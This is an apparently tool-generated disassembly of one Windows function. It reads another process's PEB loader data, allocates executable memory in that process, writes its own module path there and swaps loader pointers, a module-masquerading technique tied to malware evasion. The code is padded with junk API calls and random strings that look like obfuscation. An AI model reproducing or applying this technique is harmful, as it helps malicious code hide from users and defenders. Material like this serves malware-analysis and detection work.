Function at 0x4064e0
Capabilities:
Get file system object information
Packed with generic packer
Print debug messages

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xa0
push esi
push edi
lea edi, [ebp - 0xa0]
pushal
popal
push 0x28
pop ecx
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
mov eax, dword [ebp + 8]
push eax
call fcn.004054e0
add esp, 4
mov dword [ebp - 4], eax
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 4], 0
jne 0x40657c
push esp
pop esi
push str.DEBUG:_PEB_address_returned_NULL_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x13
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x406a30
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 4
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
add edx, 0xc
push edx
mov eax, dword [ebp + 8]
push eax
call dword [0x45d274]
cmp esi, esp
call fcn.00407340
or eax, eax
jne 0x406647
push esp
pop esi
push str.DEBUG:_Failed_to_acquire_address_of_ldr_data.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x35
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x406a30
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x28
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [0x45d274]
cmp esi, esp
call fcn.00407340
test eax, eax
jne 0x406718
push esp
pop esi
push str.DEBUG:_Failed_to_get_contents_of_PEB_LDR_DATA_structure.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x47
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0x14], 0x258
jl 0x4066fb
jmp 0x406a30
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
jmp 0x4065b5
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x48
lea edx, [ebp - 0x90]
push edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x45d274]
cmp esi, esp
call fcn.00407340
or eax, eax
jne 0x4067ac
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Failed_to_get_contents_of_peb_ldr_module_for_the_first_image__0_.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x21
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x406a30
push 0x208
call fcn.004075b0
add esp, 4
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x98], edx
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x104
mov eax, dword [ebp - 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp esi, esp
call fcn.00407340
shl eax, 1
mov word [ebp - 0x6c], ax
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x40
push 0x3000
movzx edx, word [ebp - 0x6c]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [0x45d294]
cmp esi, esp
call fcn.00407340
mov dword [ebp - 0x9c], eax
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0x9c], 0
jne 0x4068dd
push esp
pop esi
push str.DEBUG:_Failed_to_allocate_memory.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x29
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
jmp 0x406a30
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
movzx ecx, word [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x98]
push edx
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x45d2a0]
cmp esi, esp
call fcn.00407340
or eax, eax
jne 0x406970
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Failed_to_write_our_current_path_data_to_memory.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.KvJb__KnjUjRI8efaRNGLRr3_XL_yU_l_SX8_7Hoaobsv7S5pMsB4MFp8__ig_i52_Qm9UU9I_h_IVB_po_3_d_S_WLa2yCHQ__dj4yfScHHz4rRfE__4MP_1_E_VgsZyzSlOTrX_9RZQCo_j9K_SgVDRohKL_qgrJUPuAN_vYfDOlCLgl9n_IL_9aE_Xye_mzNnDzEYhhT99_zql8DR_OjcI_RbQh3rq9T4Y_3pBz_3Y98MLdz3VhhU_CB_V7Es_1_f__DrBoS6y2uHVc_CUKVX4zaYPB_jwS_Cd_idOLAs_I_Ts7QTlxyuJR_U8wfkhvo5q_lo88___gU_FBiIe_QfdnFeWSkoClmXR8_fS5v_fOA1QI3__sFkMkh__c8y9q3Szkp8Tx5T_199gaGSpf6P_qWT_B_UUVmmrMhINPBtrdkJCMYrGdEaDYmS__ukgtA_KbzKc9srLs5PBxEz8_WJ_99NR__Jnz3lcL_tBm1zJhnU__KJJ6Z7W45Sh_e__gwHYE_G__T2_pwn___cKo8FJ_OPd1lQ__Sltaga____qH_xS_C6qY_yK_eoG98_n2K_IF14_e4So_____6buUZgE__S4PdMG_ivQ1uj4__yywAy_b__ubg9GZOmlXnNN7ZYEk_UrTjlmKyldz_gh__8nfYo8_rN_VZrJ_Pp4r8QD16U_6Ah9Yang_3CvgZIZ_GmKoZuTze_g_zHRR_3hU8aE_VgqrhuNYqjUaV8_7b_RBK7KLR2SHY6_Q4ZM__cKRVm_vpP_e_RS_glN_KHDTP_qgLmZJdKnGwuyU1sV_C8E__scU7__8__6NUj7Sq12wUuC_388VGh4OCKW4Bi_kcap_gEY_u__ZlmS8OQyPh6ulzIrleELnKtV_2J_12yM__yNLEbvn_rIp__kSX8cAz2_xw_C_2RLV6kAUM_3Gqke5nJ6_sNhPF_Evcs__KKrl__MawjeY5lxeKqNsteo_S_vDhMR8_xXv__vz_x7_uu_sDHtE3M_nqmgxi5MYx_LXiYkcBy8viX_D3__
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
jmp 0x406a30
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov edx, dword [ebp - 0x9c]
mov dword [ebp - 0x68], edx
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0x48
lea eax, [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x45d2a0]
cmp esi, esp
call fcn.00407340
test eax, eax
jne 0x406a26
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Failed_to_exchange_pointers.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.J_O_6YfVsxPjp3aj_b_WvYFOMhcC_8u79KKHd4Zcp_KxMD5_SMKbXAo5AcvDR1J2iEm_p__xVjFP__mcKGg2oO_Q2TJ__I8R_NhDZxDWY_ROE_6ZhufQJ_hMrS2RVxPWHlDp_xgTX9vHLICtr9IK7s2sXiBA5SieZ_HtMp_ew_hQAnR5__Ttt_VXS_f8R2qPjGxL_u__eJ__z1e9_ZKl4_If_iudh2mB_XxDUr_XVcJHNkHbqNcCuf_8_uXkYJ_17d_BlIvu_qw_HJO8ovOB_3O_G_wcarn1QRUyB_p3P___qUtfHpO3d87slVcmaYniBGt_qQZkTVtw_dvXe8DsKr___PEg_egOEk_4M_spjs3klmZu_zyAsjOJXynj5kOiJqzHBFOtg3SXUjc1e_FUT_LgzNpkLORA_x9caA_rZl__ExIQCYnM45p4HzmJODWc_s6w9_uqqE_G1Y_MZVTSHmz_fbnMfEYm5MsV__6uB3_kS_IzJt_cnD6_L_Hi1_kOu9vPL_s3omtU5XYTJe_dpuoM4MZT_ixkeT2g_Z_c_6_IQUorbRVdgcZ_SaZae7bmWa_4pHZ_ZaORu5af__AQeZH9mc_NTlOt2E_mw_4kLCE7giwc2_rMTR__l1nF_N_lenOHP5HKjMFz1bK_Po_ZS8g_gXUUQop__O_IP9ZH8BBgd_iroM6HJ6GhWUXcGdMAc_SjTTz_P2ifeGkLXYW_W_VxTFz9NznXRsIehbgrQZ7y_Two8GhSApVYR__eX_HjMlQvH_k__w4mSe_omv_BClx6_5a_fWS_7L9_7NRMAVxH1_1rot__OfmPhdYZZM_Jipw9KkI_8_G5V1v_MXjvqyU_L3nRlfGI_2DYNU5DsyLPP_QhC__p_ZG_PGZv3gUzkQ4PD12_nVj6PgmC__lF_IRQswST_dGW79gnNd_jFClm__VhXa_RI923PRA4R___P7IkCgTTdWnAT3m_Sk2Ly_NFM
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
jmp 0x406a30
call fcn.00407570
call fcn.00407570
push edx
push ebp
pop ecx
push eax
lea edx, [0x406a54]
call fcn.00407370
pop eax
pop edx
pop edi
pop esi
add esp, 0xa0
cmp ebp, esp
call fcn.00407340
push ebp
pop esp
pop ebp
ret